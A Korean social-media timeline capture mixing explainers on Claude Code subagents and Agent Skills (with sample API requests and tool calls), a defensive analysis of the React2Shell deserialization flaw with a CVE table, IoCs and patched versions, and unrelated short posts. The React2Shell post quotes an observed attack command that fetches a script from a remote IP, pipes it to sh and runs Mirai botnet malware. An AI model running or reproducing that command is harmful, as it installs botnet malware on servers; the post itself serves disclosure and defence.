      "type": "tool_use",
      "id": "toolu_01QjShG7gnF36vLgGKCWBNjg",
      "name": "Task",
      "input": {
        "subagent_type": "Explore",
        "prompt": "이 NestJS TypeScript 프로젝트에서 entity 구조를 탐색해주세요:\n\n1. 기존 entity 파일들의 위치와 구조 파악...",
        "description": "Entity 구조 탐색"
      }
    }
  ]
}

thinking 블록에서 메인 에이전트는 현재 상황(Plan mode 활성화)을 파악하고 Explore agent를 선택한 이유를 명시적으로 추론했다.

2단계: 새로운 메시지 루프에서 Subagent 실행

Agent는 Task 도구 호출을 받으면 완전히 새로운 메시지 루프를 시작한다. 이 때 위에서 보았던 YAML frontmatter 하단의 마크다운 본문이 subagent 전용 시스템 프롬프트로 주입된다.

{
  "model": "claude-haiku-4-5-20251001",
  "system": [
    {
      "type": "text",
      "text": "You are Claude Code, Anthropic's official CLI for Claude."
    },
    {
      "type": "text",
      "text": "You are a file search specialist for Claude Code...

=== CRITICAL: READ-ONLY MODE - NO FILE MODIFICATIONS ===
This is a READ-ONLY exploration task. You are STRICTLY PROHIBITED from:
- Creating new files
- Modifying existing files
- Deleting files
...

Your strengths:
- Rapidly finding files using glob patterns
- Searching code and text with powerful regex patterns
- Reading and analyzing file contents
..."
    }
  ],
  "messages": [
    {
      "role": "user",
      "content": "<system-reminder>\nAs you answer the user's questions, you can use the following context:\n# claudeMd\nCodebase and user instructions are ... <system-reminder>"
    },
    {
      "role": "user",
      "content": "이 NestJS TypeScript 프로젝트에서 entity 구조를 탐색해주세요..."
    }
  ],
  "tools": [
    {"name": "Bash", ...},
    {"name": "Glob", ...},
    {"name": "Grep", ...},
    {"name": "Read", ...}
  ]
}
  • 모델: Explorer는 빠른 탐색을 위해 Haiku 4.5를 사용한다 (메인은 Opus 4.5)
  • 시스템 프롬프트: 읽기 전용 모드로 제한된 전용 프롬프트가 주입된다
  • 도구 제한: 메인 에이전트가 가진 모든 도구가 아닌, 탐색에 필요한 도구만 제공된다
  • CLAUDE.md 전달: 프로젝트의 CLAUDE.md 내용이 user 메시지의 <system-reminder> 태그 안에 포함되어 전달된다. 따라서 subagent도 프로젝트 컨벤션을 따른다
  • 메시지: 메인 에이전트의 prompt가 user 메시지로 전달된다

3단계: Subagent의 도구 사용

Subagent도 자신만의 메시지 루프에서 도구를 사용한다:

{
  "content": [
    {
      "type": "text",
      "text": "이 NestJS 프로젝트의 entity 구조를 철저하게 탐색하겠습니다."
    },
    {
      "type": "tool_use",
      "id": "toolu_01VHysdohmuy9r58aVdcUQRh",
      "name": "Glob",
      "input": {
        "pattern": "**/*.entity.ts"
      }
    },
    {
      "type": "tool_use",
      "id": "toolu_01QYrMBhzbXpExYwgCFM7MLb",
      "name": "Bash",
      "input": {
        "command": "find /Volumes/project/src -type f -name \"*.ts\" | grep -E \"(entity|entities)\" | head -20",
        "description": "Find entity files in src directory"
      }
    }
  ]
}

Explorer subagent는 두 개의 도구를 병렬로 호출했다. Glob으로 entity 파일 패턴을 찾고 Bash로 디렉토리를 탐색한다. 이 과정이 반복되면서 subagent는 필요한 정보를 수집한다.

4단계: Subagent 완료 및 결과 반환

Subagent가 탐색을 완료하면 수집한 정보를 정리하여 최종 응답을 반환한다. 이 응답은 메인 에이전트의 Task 도구 호출에 대한 tool_result로 전달된다:

┌─────────────────────────────────────────────────────────────────────┐
│                           메인 메시지 루프                              │
│                                                                     │
│  User ──► Agent ──► LLM(Opus)                                       │
│                │                                                    │
│                ▼ tool_use: Task                                     │
│     ┌─────────────────────────────────────────────────────┐         │
│     │           Subagent 메시지 루프 (Explorer)              │         │
│     │                                                     │         │
│     │   prompt ──► Agent ──► LLM(Haiku)                   │         │
│     │                   │                                 │         │
│     │                   ▼ tool_use                        │         │
│     │              ┌─────────┐                            │         │
│     │              │  Glob   │                            │         │
│     │              │  Bash   │                            │         │
│     │              │  Read   │                            │         │
│     │              └─────────┘                            │         │
│     │                   │                                 │         │
│     │                   ▼                                 │         │
│     │              최종 응답                                │         │
│     └────────────────────┬────────────────────────────────┘         │
│                          │                                          │
│                          ▼ tool_result                              │
│                 Agent 계속 진행                                       │
│                                                                     │
└─────────────────────────────────────────────────────────────────────┘

메인 에이전트는 Explorer의 조사 결과를 바탕으로 다음 단계(예: database-schema-architect 호출)를 진행한다.

마무리

지금까지 subagent의 동작 방식에 대해서 알아보았다. 핵심을 정리하면:

Subagent는 Tool Use다. 메인 에이전트가 Task 도구를 호출하면, 새로운 메시지 루프가 생성되어 전용 시스템 프롬프트와 제한된 도구로 작업을 수행한다.

왜 사용하는가?

  • 컨텍스트 분리: 탐색/분석 과정이 메인 대화를 오염시키지 않는다
  • 전문화: 각 subagent가 특정 작업에 최적화된 프롬프트와 도구를 가진다
  • 효율성: 목적에 맞게 가벼운 모델(Haiku)이나 무거운 모델(Opus)을 취사선택

주의할 점:

  • Subagent는 메인 대화 히스토리를 모른다. 필요한 정보는 Task의 prompt에 명시해야 한다 (단, CLAUDE.md는 자동 전달됨)
  • Subagent는 subagent를 호출할 수 없다 (무한 중첩 방지를 위해 Task 도구를 사용하지 않는다.)
  • 각 호출은 새로운 컨텍스트에서 시작한다 (단, resume 파라미터로 이전 대화 이어가기 가능)

결국 subagent는 Tool Use 패턴의 확장이다. 단순한 Function Call이라면 코드 실행 결과를 텍스트로 반환하지만 subagent는 별도의 메시지 루프에서 LLM이 생성한 텍스트를 반환한다는 차이만 있다. 메인 에이전트 입장에서는 둘 다 tool_result로 받는 텍스트일 뿐이다.

자손킴's avatar
자손킴

@[email protected]

Agent Skill은 Anthropic이 2025년 10월에 발표한 기능이다. 발표 직후부터 폭발적인 반응을 얻어 커뮤니티에서 다양한 종류의 Skill이 만들어졌다. 2025년 12월 18일에 Anthropic은 Agent Skills를 독립적인 오픈 스탠다드로 발표했고 여러 서비스들이 Skill을 지원하고 있다.

이번 글에서는 Agent Skill이 Tool Use 위에서 어떻게 동작하는지 알아본다.

Agent Skill이란?

Agent Skill은 에이전트가 특정 작업을 더 정확하고 효율적으로 수행할 수 있도록 지시문(instructions), 스크립트(scripts), 리소스(resources) 등을 동적으로 불러올 수 있게 구성된 폴더다.

에이전트는 점점 더 많은 것을 할 수 있지만 실제 업무를 안정적으로 수행하려면 절차적 지식과 조직별 맥락이 필요하다. PDF 양식을 채우는 방법, 데이터베이스 마이그레이션을 안전하게 수행하는 순서, 브라우저 자동화의 베스트 프랙티스 같은 것들이다. 이런 지식을 매번 프롬프트에 모두 작성하면 컨텍스트를 낭비하게 되고 일관성도 떨어진다.

Agent Skill은 이러한 문제들을 해결하기 위해 작업에 필요한 지식을 재사용 가능한 단위로 패키징하고 필요할 때만 동적으로 로드한다.

효율적인 컨텍스트 관리 방법

Agent Skill은 점진적 공개(Progressive Disclosure) 패턴으로 컨텍스트를 효율적으로 관리한다. 점진적 공개는 다음과 같은 단계로 구성된다.

첫 번째 단계: 메타데이터 로드

에이전트가 시작할 때 모든 Skill의 name과 description만 로드한다. 이 메타데이터는 Claude가 각 Skill을 언제 사용해야 하는지 판단할 수 있을 만큼의 정보만 제공한다. 예를 들어 PDF Skill은 "PDF 파일에서 텍스트 추출, 폼 채우기, 문서 병합을 수행한다"는 설명만 시스템 프롬프트에 포함된다.

두 번째 단계: SKILL.md 전체 로드

Claude가 현재 작업에 해당 Skill이 관련 있다고 판단하면 전체 SKILL.md를 컨텍스트에 로드한다. 이 단계에서 상세한 지시문이 추가된다. 권장 크기는 5000 토큰 미만이다.

세 번째 단계 이상: 추가 파일 온디맨드 로드

Skill이 복잡해지면 모든 내용을 SKILL.md 하나에 담기 어려워진다. 이런 경우 references/, scripts/, assets/ 폴더에 추가 파일을 번들하고 SKILL.md에서 참조한다. Claude는 필요할 때만 이 파일들을 탐색하고 로드한다.

이 패턴의 장점은 "필요할 때만 필요한 만큼"이다. 모든 Skill의 전체 지시문을 처음부터 로드하면 컨텍스트가 금방 소진된다. 점진적 공개는 이 문제를 해결하면서도 에이전트가 적절한 시점에 적절한 Skill을 활성화할 수 있게 한다.

Agent Skill의 구조

일반적인 Skill의 구조는 다음과 같다.

skill-name/
├── SKILL.md           # 필수: 메타데이터 + 지시문
├── scripts/           # 선택: 실행 가능한 코드
├── references/        # 선택: 추가 문서
└── assets/            # 선택: 템플릿, 리소스

SKILL.md만 필수이고 나머지는 모두 선택이다. 단순한 Skill은 SKILL.md 하나만으로 구성될 수 있고 복잡한 Skill은 여러 개의 스크립트와 참조 문서를 포함할 수 있다.

필수요소인 SKILL.md는 다음과 같은 포맷으로 구성된다.

---
name: pdf-processing
description: Extract text and tables from PDF files, fill forms, merge documents.
license: Apache-2.0
compatibility: Designed for Claude Code
metadata:
  author: example-org
  version: "1.0"
allowed-tools: Bash(git:*) Read
---

# PDF Processing

## When to use this skill
Use this skill when the user needs to work with PDF files...

## How to extract text
1. Use pdfplumber for text extraction...

SKILL.md는 YAML frontmatter와 마크다운 본문으로 구성된다. YAML frontmatter에는 name과 description이 필수로 포함되어야 한다. name은 최대 64자의 소문자와 숫자 그리고 하이픈으로만 구성되며 하이픈으로 시작하거나 끝날 수 없다. description은 최대 1024자로 이 Skill이 무엇을 하는지 언제 사용해야 하는지 설명한다.

license, compatibility, metadata, allowed-tools는 선택 필드다. 각 선택 필드의 역할은 다음과 같다.

  • license: 라이선스 이름 또는 번들된 라이선스 파일에 대한 참조를 명시한다.
  • compatibility: 최대 500자. 환경 요구사항을 명시한다. 의도한 제품, 필요한 시스템 패키지, 네트워크 접근 필요 여부 등을 기술한다. 예를 들어 "Designed for Claude Code" 또는 "Requires git, docker, jq, and access to the internet" 같은 형태로 작성한다. 대부분의 Skill은 이 필드가 필요하지 않다.
  • metadata: 임의의 키-값 쌍을 저장하는 맵이다. author, version 같은 추가 속성을 담는다.
  • allowed-tools: 공백으로 구분된 사전 승인 도구 목록이다. 실험적 기능으로 에이전트 구현에 따라 지원 여부가 다를 수 있다.

YAML frontmatter 아래의 마크다운 본문이 실제 지시문이 된다. 이 지시문은 Skill이 활성화될 때 컨텍스트에 주입되어 에이전트의 행동을 안내한다.

첫번째 단계에서는 frontmatter의 name과 description만 사용된다. 이 정보로 에이전트는 언제 이 Skill을 활성화해야 하는지 판단한다. 두번째 단계에서 SKILL.md 전체가 로드되고 세번째 단계에서 마크다운 본문의 지시문에 따라 scripts/ 폴더의 코드를 실행하거나 references/ 폴더의 추가 문서를 참조한다.

dev-browser로 살펴보는 실제 Skill 동작

이제 Skill이 어떻게 동작하는지 실제 예시를 통해 살펴보자. 이 예시는 Use Claude Code with Chrome에 있는 사용 예시를 dev-browser Skill을 사용해 테스트하고 분석한 것이다.

사용한 프롬프트는 다음과 같다.

Go to code.claude.com/docs, click on the search box,
type "hooks", and tell me what results appear

이 요청은 tools 배열과 함께 전송되며 Skill도 tools 배열에 포함되어 있다. Claude API 요청 구조에 대해서는 이전 글을 참고한다.

{
  "name": "Skill",
  "description": "Execute a skill within the main conversation\n\n<skills_instructions>...",
  "input_schema": {
    "type": "object",
    "properties": {
      "skill": {
        "type": "string",
        "description": "The skill name. E.g., \"commit\", \"review-pr\", or \"pdf\""
      },
      "args": {
        "type": "string",
        "description": "Optional arguments for the skill"
      }
    },
    "required": ["skill"]
  }
}

Skill 도구의 description에는 <available_skills> 섹션이 포함되어 있어 사용 가능한 모든 Skill의 목록과 설명이 들어있다.

<available_skills>
<skill>
<n>dev-browser:dev-browser</n>
<description>
Browser automation with persistent page state. Use when users ask to 
navigate websites, fill forms, take screenshots, extract web data, 
test web apps, or automate browser workflows. Trigger phrases include 
"go to [url]", "click on", "fill out the form", "take a screenshot"...
</description>
<location>plugin</location>
</skill>
</available_skills>

사용자의 요청 "Go to code.claude.com/docs, click on the search box..."가 dev-browser의 description에 있는 트리거 프레이즈 "go to [url]", "click on"과 매칭된다. 에이전트는 이 매칭을 발견하고 Skill 도구를 호출한다.

{
  "type": "tool_use",
  "id": "toolu_017StpNdwovc4Lm8tGfK9XnA",
  "name": "Skill",
  "input": {
    "skill": "dev-browser:dev-browser",
    "args": "Go to code.claude.com/docs, click on the search box, type \"hooks\", and tell me what results appear"
  }
}

skill 필드에 plugin name을 포함한 qualified name(plugin-name:skill-name)이 사용되고 args에는 사용자의 원본 요청이 그대로 전달되었다.

Skill 도구의 tool_result로 SKILL.md 전체 내용이 반환된다.

Launching skill: dev-browser:dev-browser

Base directory for this skill: /Users/dev-test/.claude/plugins/cache/
dev-browser-marketplace/dev-browser/58c332a7c61a/skills/dev-browser

# Dev Browser Skill

Browser automation that maintains page state across script executions. 
Write small, focused scripts to accomplish tasks incrementally...

## Setup

First, start the dev-browser server using the startup script:

```bash
./skills/dev-browser/server.sh &
```

## Writing Scripts

Execute scripts inline using heredocs:

```bash
cd skills/dev-browser && npx tsx <<'EOF'
import { connect } from "@/client.js";
const client = await connect();
const page = await client.page("homepage");
// Your automation code here
await client.disconnect();
EOF
```

ARGUMENTS: Go to code.claude.com/docs, click on the search box...

tool_result에는 SKILL.md에 있는 모든 지시문이 포함되어 있다. ARGUMENTS에는 원본 사용자 요청이 첨부되어 있어 에이전트가 참조할 수 있다.

이제 에이전트는 SKILL.md의 지시문을 읽고 순서대로 작업을 수행한다. 먼저 Setup 섹션에 따라 서버를 시작한다.

{
  "type": "tool_use",
  "name": "Bash",
  "input": {
    "command": "cd /Users/dev-test/.claude/plugins/cache/dev-browser-marketplace/dev-browser/58c332a7c61a/skills/dev-browser && ./server.sh &",
    "description": "Start dev-browser server"
  }
}

서버가 준비되면 SKILL.md의 인라인 코드 템플릿을 참고하여 브라우저 자동화 스크립트를 작성하고 실행한다.

{
  "type": "tool_use",
  "name": "Bash",
  "input": {
    "command": "cd /Users/dev-test/.claude/plugins/cache/dev-browser-marketplace/dev-browser/58c332a7c61a/skills/dev-browser && npx tsx <<'EOF'\nimport { connect, waitForPageLoad } from \"@/client.js\";\n\nconst client = await connect();\nconst page = await client.page(\"claude-docs\");\nawait page.setViewportSize({ width: 1280, height: 800 });\n\nawait page.goto(\"https://docs.anthropic.com/en/docs/claude-code\");\nawait waitForPageLoad(page);\n\nconsole.log(\"Current URL:\", page.url());\nconst snapshot = await client.getAISnapshot(\"claude-docs\");\nconsole.log(snapshot);\n\nawait client.disconnect();\nEOF",
    "description": "Navigate to Claude Code docs"
  }
}

에이전트는 SKILL.md의 코드 템플릿을 그대로 복사하지 않는다. 템플릿 구조(import, connect, heredoc 패턴)를 따르되 작업에 맞게 즉석에서 코드를 작성한다. page.goto() URL이나 selectSnapshotRef() ref ID 등을 동적으로 결정한다.

SKILL.md가 명시한 Workflow Loop 패턴에 따라 Write a script → Run it → Evaluate → Decide → Repeat 과정이 반복된다. 페이지 탐색 스크립트 실행 → ARIA 스냅샷 확인 → 검색 버튼 클릭 → 검색어 입력 → 결과 확인 순서로 진행된다.

전체 흐름을 정리하면 다음과 같다.

User: "Go to code.claude.com/docs... Use dev-browser"


LLM: available_skills에서 매칭 발견
     description에 "go to", "click on" 트리거 포함


tool_use: Skill
  skill: "dev-browser:dev-browser"
  args: "Go to code.claude.com/docs..."


tool_result: SKILL.md 전체 + Base directory + ARGUMENTS


LLM: SKILL.md 지시문 해석
     "First, start the dev-browser server"


tool_use: Bash (./server.sh &)  ──► tool_result: "Server ready"


LLM: heredoc 템플릿 참고하여 스크립트 작성
     page.goto(), getAISnapshot() 활용


tool_use: Bash (npx tsx <<'EOF'...)


tool_result: snapshot 출력 (ARIA 트리)


(반복: 클릭, 입력, 스크린샷 등)

Skill 도구의 역할은 SKILL.md 파일 경로를 해석하고 전체 내용을 tool_result로 반환하는 것뿐이다. 실제 능력은 에이전트가 SKILL.md를 읽고 지시문에 따라 다른 도구들을 사용하면서 발현된다.

Agent Skill과 Subagent

Subagent와 Agent Skill은 서로 다른 문제를 해결한다.

Subagent는 컨텍스트 분리가 필요할 때 사용한다. 탐색이나 분석 과정이 메인 대화를 오염시키면 안 될 때 적합하다. 예를 들어 코드베이스 전체를 탐색해야 하는데 그 과정의 모든 파일 내용이 메인 컨텍스트에 쌓이면 금방 컨텍스트가 소진된다. Subagent는 독립적인 컨텍스트 윈도우에서 작업하고 결과만 반환한다. 또한 가벼운 모델(Haiku)로 빠르게 처리하거나 무거운 모델(Opus)로 깊이 분석하는 선택이 가능하다.

Agent Skill은 절차적 지식이 필요할 때 사용한다. PDF 폼 채우기나 브라우저 자동화처럼 "어떻게 해야 하는지"에 대한 베스트 프랙티스가 있는 작업에 적합하다. Skill은 현재 컨텍스트를 공유하면서 지시문만 추가로 주입한다. 별도의 메시지 루프를 만들지 않는다.

Agent Skill과 MCP

MCP와 Agent Skill도 역할이 다르다.

MCP는 외부 시스템과의 연동이 필요할 때 사용한다. 브라우저, 데이터베이스, 외부 API처럼 에이전트 내부에서 직접 실행하기 어려운 도구가 필요할 때 적합하다. MCP 서버는 외부 프로세스에서 실행되고 프로토콜을 통해 통신한다. 같은 도구를 여러 에이전트에서 공유할 수도 있다.

Agent Skill은 도구 사용 방법을 가르칠 때 사용한다. MCP가 "어떤 도구가 사용 가능한지"를 알려준다면 Skill은 "그 도구를 어떻게 효과적으로 사용하는지"를 가르친다. 실제로 mcp-builder라는 Skill은 MCP 서버를 더 잘 만들기 위한 지식을 제공한다. Skill이 MCP를 대체하는 것이 아니라 보완하는 관계다.

마무리

지금까지 Agent Skill이 Tool Use 위에서 어떻게 동작하는지 알아보았다.

Skill 도구가 tools 배열에 정의되어 있고 tool_use → tool_result 사이클을 거친다. 이는 Subagent(Task 도구)나 MCP(mcp__xxx 도구)와 동일한 패턴이다.

tools 배열
├── 내장 도구 (Bash, Read, Glob...)
│   └── Host 내부에서 직접 실행

├── Task 도구 (Subagent)
│   └── 새 메시지 루프에서 LLM 응답 반환

├── mcp__xxx 도구 (MCP)
│   └── 외부 서버의 실행 결과 반환

└── Skill 도구 (Skills)
    └── SKILL.md 로드 후 후속 도구 사용 안내

Agent Skill은 다른 도구 사용을 안내하는 메타 도구다. tool_result로 지시문을 컨텍스트에 주입하고 이후 Bash, Read 같은 다른 도구들의 사용을 안내한다. 결국 Skill → Bash → Read... 형태의 도구 체이닝이 발생한다.

Subagent와 MCP가 "무엇을 할 수 있는가"를 확장한다면 Skills는 "어떻게 잘 할 것인가"를 확장한다.

염산하

@[email protected] · Reply to Woojin Kim's post

@me 오퍼스가 없어서 넘 아쉽죠.

고남현's avatar
고남현

@[email protected]

React2Shell 취약점이란?

외부에서 수신된 특정한 규격에 따라 구조적으로 작성된 데이터를 처리한다면, 공격자가 어떠한 의도를 가지고 있다면 데이터를 보낼 때 실행 가능한 악의적 코드를 같이 넣어 보낼 가능성을 배제할 수 없다.

이것이 보안 약점이 되지 않기 위해선 이러한 공격자의 의도를 막아야하지만, React2Shell (CVE-2025-55182) 취약점은 이러한 공격자의 의도를 막지 못하고 실행을 무제한 허용하는 방법이 발견된 것이다.

특정한 규격에 따라 구조적으로 작성된 데이터를 처리하는 과정을 일컫는 용어를 "역직렬화"(Deserialization)이라고 한다.

특정한 규격은 잘 알려진 JSON, XML, YAML가 될 수도 있고, 자체 규격이 될 수도 있고, 혼합형이 될 수도 있다. React2Shell 취약점은 혼합형(JSON + aka. Flight)을 사용하였다.

자체 규격(aka. Flight)이 JavaScript로 정의된 객체의 성격을 임의로 변경(Prototype 개념 상 존재하는 생성자 수준의 속성(__proto__, constructor)에 접근하여 객체의 성격을 임의로 바꿀 수 있음)하는데 필요한 접근성을 가지고 있었기에 가능한 것이었다.

역직렬화(Deserialization) 과정은 왜 위험한가?

실무적으로 역직렬화 과정이 위험해지는 이유는 다음과 같다.

  1. 데이터 교환 포맷은 자료형에 엄격하지 않다: 원활한 데이터 교환이 최우선이라는 목적에 만족하기 위해 엄격한 자료형(Type-safe)을 사용하도록 설계하지 않는다. 이것은 자료형 혼란(Type Confusion)을 기반으로 한 다양한 방식의 탈옥 시도를 가능케해주는 단서가 되기도 한다.
  2. 특정 단어 또는 특정 기호가, 특정 작업을 수행하는 신호탄(Trigger) 역할을 한다: 특정 특정 단어 또는 특정 기호에 의해 촉발되는 특정 작업의 유효성 검증 절차가 미흡하며 해당 어플리케이션의 범위를 벗어나 시스템으로 권한 상승과 명령 실행을 허용하는 통로가 된다. 실무적으로 가장 비중이 높은 유형이다.
  3. 미리 식별되지 못한 예약어가 있을 수 있다: 드물지만 특정 언어, 특정 프레임워크, 특정 라이브러리, 또는 특정 펌웨어 등 연관된 의존성에서 명확하게 식별되지 못한 예약어(단어, 기호)를 처리하는 구현이 존재할 가능성도 있다. 이는 특정 조건이 맞으면 발현될 가능성이 있다.

이 외에도 역직렬화 과정은 유사한 여러 취약 가능성을 가지고 있기 때문에, 역직렬화 과정을 보호하기 위한 여러 보완 장치의 구현이 필요하다.

알려진 역직렬화 취약점 사례 (언어 및 생태계별)

역직렬화 취약점이 어떤 성격을 가지는 취약점인지 빠르게 이해하기 위해선, 역직렬화 취약점과 연관이 있는 취약점 사례와 공통적인 특징을 살펴볼 수 있다. 그 사례는 다음과 같다.

언어 / 생태계역직렬화 취약점 사례주요 공통점
JavaCVE-2021-44228 (Log4Shell), CVE-2017-9805 (Apache Struts2 REST), CVE-2020-8840 (jackson-databind)외부 입력이 객체 생성·역직렬화 경로(JNDI, XML/JSON 바인딩) 로 유입되어 gadget chain 또는 원격 클래스 로딩을 통해 RCE 발생
.NET (C# / VB.NET)CVE-2019-18935 (Telerik UI), CVE-2025-53690 (Sitecore ViewState), CVE-2020-25258 (Hyland OnBase)BinaryFormatter·ViewState 등 레거시 역직렬화 포맷을 신뢰하여 임의 타입 로딩·코드 실행
PythonCVE-2017-18342 (PyYAML unsafe load), CVE-2024-9701 (Kedro ShelveStore), CVE-2024-5998 (LangChain FAISS)pickle·unsafe YAML 로더 사용으로 역직렬화 자체가 실행 트리거
PHP (WP)CVE-2023-6933 (Better Search Replace), CVE-2025-0724 (ProfileGrid), CVE-2024-5488 (SEOPress)unserialize() / maybe_unserialize()에 사용자 입력이 전달되어 PHP Object Injection(POP chain) 발생
RubyCVE-2013-0156 (Rails YAML.load), CVE-2020-10663 (RubyGems Marshal)YAML.load·Marshal.load 사용 시 임의 객체 생성 → 코드 실행
JavaScript / Node.jsCVE-2025-55182 (React2Shell), CVE-2020-7660 (serialize-javascript)구조 복원·객체 재구성 로직이 신뢰되지 않은 입력을 코드/객체로 해석
GoCVE-2022-28948 (go-yaml Unmarshal), CVE-2020-16845 (HashiCorp Consul)Unmarshal 단계에서 입력 검증 부족 → 구조체 복원 기반 로직 붕괴·DoS
RustGHSA-w428-f65r-h4q2 (serde_yaml / unsafe deserialization, CVE-2021-45687)메모리 안전과 무관하게 serde 기반 역직렬화에서 신뢰되지 않은 데이터가 내부 타입으로 복원되어 로직 오염·DoS·잠재적 코드 실행 위험
Kotlin / AndroidCVE-2024-43080 (Android) / CVE-2024-10382 (Android Car)Intent/Bundle/IPC 역직렬화 시 타입·검증 미흡 → 권한 상승·DoS
C / C++CVE-2024-8375 (Google Reverb, Related to gRPC and protobuf)Unpack 과정에서 데이터타입(VARIANT), vtable 포인터 오염 등 무결성 검증 부족
Swift / iOSCVE-2021-32742 (Vapor)외부 입력을 디코딩/객체 복원 시 신뢰 경계 붕괴 → DoS·정보 노출
산업용 (ICS/OT)CVE-2024-12703, CVE-2023-27978 (Schneider Electric), CVE-2025-2566 (Kaleris Navis N4), CVE-2023-32737 (Siemens SIMATIC)프로젝트 파일·관리 서버 입력을 신뢰된 내부 데이터로 가정하고 역직렬화 → RCE 및 물리 시스템 영향 가능

역직렬화 취약점은 언어와 환경을 가리지 않고 다양하게 나타나고 있으며, 발견된 역직렬화 취약점은 취약점 점수(CVSS 3.x)에서도 8.0에서 10.0 범위의 매우 높은 점수를 받고 있다.

이제 사전 정보 없이도 공격 특성을 읽을 수 있다.

역직렬화 취약점이 어떤 공통적인 특성을 가지는지 설명했으니, 이제 React2Shell 공격의 개념증명(PoC)에서 보인 공격 특성을 사전 정보(공격 대상인 RSC의 내부 이해)가 없이도 어느정도 파악할 수 있다.

여기 각각 JavaScript와 Python으로 작성된 주요 공격 개념증명 코드가 있다.

여기서 알 수 있는 정보는 다음과 같다.

  1. 잘 알려진 포맷(JSON 등)과 함께 보이는 Colon-sperated String과 같은 패턴은 활용 분야에 따라 Micro-operations, Opcodes 등의 용어로 불리며, 비실행 포맷을 최소 명령 실행이 가능한 포맷으로 활용하겠다는 의도를 나타낸다. 구현 시 무결성에 주의를 더 기울이지 않으면 역직렬화 취약점을 불러들이는 좋은 복선이 된다.
  2. 생성자 수준의 키워드 (__proto__, constructor )를 통해 Prototype을 변조할 수 있는 접근성을 가지고 있다는 것을 알 수 있다. 용어로는 "JavaScript prototype pollution"라고 한다.
  3. then 키워드를 통해 공격 대상 내부에 존재하는 Promise 객체에 붙겠다(또는 새로운 Promise 객체를 만들겠다)는 의도를 확인할 수 있다.
  4. 페이로드의 value 필드 값이 아직 역직렬화 되기 전의 문자열 형태의 JSON인 것으로 봤을 때, 공격 대상 내부에서 JSON.parse 메소드의 호출을 예상할 수 있다.
  5. 공격 코드로 보이는 _response._prefix 의 주입은 then 키워드가 등장하는 위치와 최대한 가까운 곳에서 일어나야 한다. 그래야 Promise 객체가 공격 코드를 트리거할 수 있기 때문이다.
  6. 결국 JSON 역직렬화 과정이 일어나면서, then 속성을 가지면서, 공격 코드를 수용할 수 있는 가장 연관성 높은 표현이라는 점을 모두 만족하는 부분은 {"then": "$Bx"}라는 것을 알 수 있다. $Bx를 처리하는 과정 중 (또는 $Bx가 처리한 결과에 대한 사후) 검증이 부족하다는 의미이다.
  7. 공격 절차에 포함되는 Next-Action 헤더는 애초에 이 취약점의 원인이 된 어떤 기능을 켜고 끄는 것에 관한 것임을 예상할 수 있다. 개발된 앱에 존재하는 유효한 액션에 대한 Key를 알 수 있다면 그 액션의 실행을 요청함으로서 공격 코드 또한 실행할 수 있을 것이다.

공격자는 이 취약점을 이용해서 뭘하나?

Catswords OSS로 제보된 내용에 따르면, React2Shell에 노출된 서버는 이런 명령이 들어온다고 한다. 한 회원이 학습용으로 구축한 React 서버에서 발견된 로그이다.

(busybox wget -q http://193.34.213.150/nuts/bolts -O-|sh; \
 cd /dev; \
 busybox wget http://31.56.27.76/n2/x86; \
 chmod 777 x86; \
 ./x86 reactOnMynuts)

이 파일의 정체는 Mirai botnet이라 부르는 계열의 악성코드이다. React2Shell에 취약한 서버들은 이런 악성코드들을 서버에 주입받게 된다.

그럼 이 악성코드의 명성(?)은 어느정도일지 한번 체크해보자.

(그래 너 나쁜거 알았으니 그만 알아보자)

관련 IoC 는 다음과 같다.

  • 3ba4d5e0cf0557f03ee5a97a2de56511 (MD5)
  • 858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb (SHA256)
  • http://193.34.213.150/nuts/bolts (URL)
  • http://31.56.27.76/n2/x86 (URL)

범용 botnet이 설치되기 때문에 사실상 DDoS 공격 등 다양한 목적으로 악용되는 서버가 된다.

추가 분석은 아래 링크에서 확인할 수 있다.

이 공격을 어떻게 완화해야할까?

버전 업데이트로 해결하기

Next.js를 사용하는 서버라면 취약점이 해결된 버전으로 업데이트하여야 한다. Next.js의 개발사 Vercel은 취약한 버전에 대해 다음과 같이 안내하고 있다.

Vulnerable version Patched release
Next.js 15.0.x 15.0.5
Next.js 15.1.x 15.1.9
Next.js 15.2.x 15.2.6
Next.js 15.3.x 15.3.6
Next.js 15.4.x 15.4.8
Next.js 15.5.x 15.5.7
Next.js 16.0.x 16.0.10
Next.js 14 canaries after 14.3.0-canary.76 Downgrade to 14.3.0-canary.76 (not vulnerable)
Next.js 15 canaries before 15.6.0-canary.58 15.6.0-canary.58
Next.js 16 canaries before 16.1.0-canary.12 16.1.0-canary.12 and after

혹여 업데이트에 곤란을 겪고 있는 경우, Vercel에서 공식 제공하는 패치 도구를 활용하는 것도 좋은 방법이 될 수 있다.

방화벽(WAF 등) 규칙의 개선으로 완화하기

Next-Action 헤더 + 시스템 OS 명령어 + 자바스크립트의 Array 또는 Object 관련 메소드, 이렇게 3요소가 같은 요청에 동시에 들어있는건 흔한 상황은 아니라는 점을 고려해서 차단 규칙을 만드는 것도 방법이 될 수 있다.

Simon Willison's avatar
Simon Willison

@[email protected]

I ported a Python library implementing a full HTML5 parser to JavaScript using GPT-5.2 and Codex CLI in 4.5 hours, and decorated for Christmas and watched Knives Out while I was doing it simonwillison.net/2025/Dec/15/

복설 뉴스's avatar
복설 뉴스

@[email protected]

드라마 ‘프로보노’ 속 ‘휠체어 현장 검증’이 우리에게 남긴 과제 www.ablenews.co.kr/news/article... "드라마의 갈등은 최웅산 회장이라는 ‘선한 권력자’의 결단으로 해소된다. 그는 “장애 학생들을 위한 학교를 짓겠다”고 선언한다. 이 대사는 수많은 장애 부모들의 가슴을 울렸을 것이다. 하지만 냉정하게 짚어야 할 지점이 있다. 장애 아동의 교육권이 왜 한 회장님의 ‘선의(Goodwill)’와 ‘시혜’에 의존해야 하는가?"

드라마 ‘프로보노’ 속 ‘휠체어 현장 검증’이 우리에게...

나나나나미's avatar
나나나나미

@[email protected]

트럼프 정권이 Calibri 글꼴은 "워크"(woke)라면서 사용을 폐기하려 한다고. theguardian.com/artanddesign/2
이 글꼴은 윈도 비스타에서 처음 공개되었고 2023년에는 바이든 정권에서 이 글꼴이 시각장애인들에게 도움이 된다고 판단해 도입했는데 트럼프 정권이 여기에 시비를 걸고 있는 것.

염산하

@[email protected] · Reply to Woojin Kim's post

@me 퍼플렉시티를 돌려줘 엉엉...

염산하

@[email protected] · Reply to Woojin Kim's post

@me 저도요

염산하

@[email protected] · Reply to Woojin Kim's post

@me 근데 전체 장애는 아닌가봐요. 제가 되는 걸 보니...

고남현's avatar
고남현

@[email protected]


Windows 앱에서 보이는 "DLL Hell" 문제

